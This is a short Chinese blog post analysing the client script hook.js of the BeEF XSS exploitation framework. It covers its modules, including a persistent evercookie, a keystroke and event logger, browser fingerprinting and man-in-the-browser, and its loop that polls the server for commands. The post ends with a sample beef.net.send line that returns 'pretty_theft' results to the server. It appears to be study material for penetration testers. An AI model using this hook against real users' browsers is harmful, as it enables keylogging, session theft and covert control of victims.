BeEF XSS利用框架客户端脚本浅析

Reading time ~1 minute

BeEF是比较著名的一个XSS利用框架,它是交互界面友好、高度集成、开源、活跃度较高的一个项目。

在BT5中也集成了BeEF。跟国外其他渗透测试项目一样,它也可以和其他很多工具结合使用,如MSF。但是网上相关资料不太好找,于是前段时间自己看了一下BeEF的客户端JS脚本代码。

BeEF框架客户端脚本文件hook.js的主要结构如下:

JS模块 功能分析
jquery jequry库
evercookie cookie僵尸,利用多处存放、相互依存的方式保证cookie的不可销毁。
beef 主要包括:
1. commands数组等来存放从服务器获得的指令。
2. components数组来存放模块。
3. execute(fn)将待执行函数压入commands数组队列。
4. regCmp(com)将模块压入components数组
beef.browser 获得和存放浏览器信息的对象。getdetail返回存放浏览器详细信息的数组。
beef.browser.cookie 对浏览器cookie进行操作的函数。
beef.browser.popup 判断浏览器是否拦截弹窗。(貌似判断的不太准确)
beef.session 创建和管理一个Zombie的session标识。
beef.os 通过浏览器ua判断Zombie的操作系统。注册为beef.net.os
beef.hardware 通过浏览器ua判断Zombie的设备类型。注册为beef.net.hardware
beef.dom 对浏览器dom对象的操作,创建iframe、form、更换链接地址等等。
beef.logge 客户端的事件记录器,click、focus、submit、keypress等,并将捕获的数据存储,调用logger.queue函数将data传给beef.net.queue
beef.encode 定义了一些编码,base64编码、json解析等
beef.net 客户端与服务端之间的通信,对请求与响应的处理进行封装。包括向服务器命令执行结果、提交请求并处理服务器返回的相应。定义了服务端IP、端口、hook文件、handler文件等 。
beef.updater 循环获得服务器js指令并执行。定义了指令的获取和执行等函数。
beef.mitb 浏览器中间人
beef.net.local 其他
beef.net.dns 其他
beef.are 其他
init代码段 初始化:执行完指令队列内的指令、开始事件记录、执行updater.check()循环。
JS模块 功能分析

关于客户端指令的获取和执行

hook.js会将初始化函数与window.onload事件绑定,在进行初始化时会调用beef.updater的check()方法。该方法会循环执行。首先保存事件键盘记录logger的为保存数据,再上传所有结果队列cmd_queue中的数据,然后判断指令队列commands中长度是否大于零,是则执行命令,否则通过ajax从服务器端请求文件,请求类型为script,即获取脚本内容并执行。脚本内容格式为”beef.execute(//指令内容)”,执行后会将指令内容压入待执行的指令队列commands对象中。 如需返回指令执行之后的结果,则指令语句需判断满足某一条件后,调beef.net.send(data)方法,将获得到的数据传回服务端。

指令轮询函数的执行顺序流程

//循环从服务端拉去指令并执行
updater.check()
1. logger.queue()
2. net.flush()
3. execute_commands();get_commands();
4. setTimeout("beef.updater.check();", beef.updater.timeout);

//任务/数据队列
logger.queue
//传进来的result数据处理成net里的command对象,results中字符串数组转换成json对象
net.queue()
//压入队列
cmd_queue.push()

//指令执行结果回传
net.send
net.queue //将数据压入cmd_queue
flush //发送所有cmd_queue队列内的请求,将队列内请求分块
push //按照PC分组,逐个发送
request //发送请求的底层方法

获取的指令的

服务端下发的指令格式为:

beef.execute(function(){xxx});
//beef.execute将function()压入commands

回传结果的例子

beef.net.send('/command/pretty_theft.js', 10, 'answer='+answer);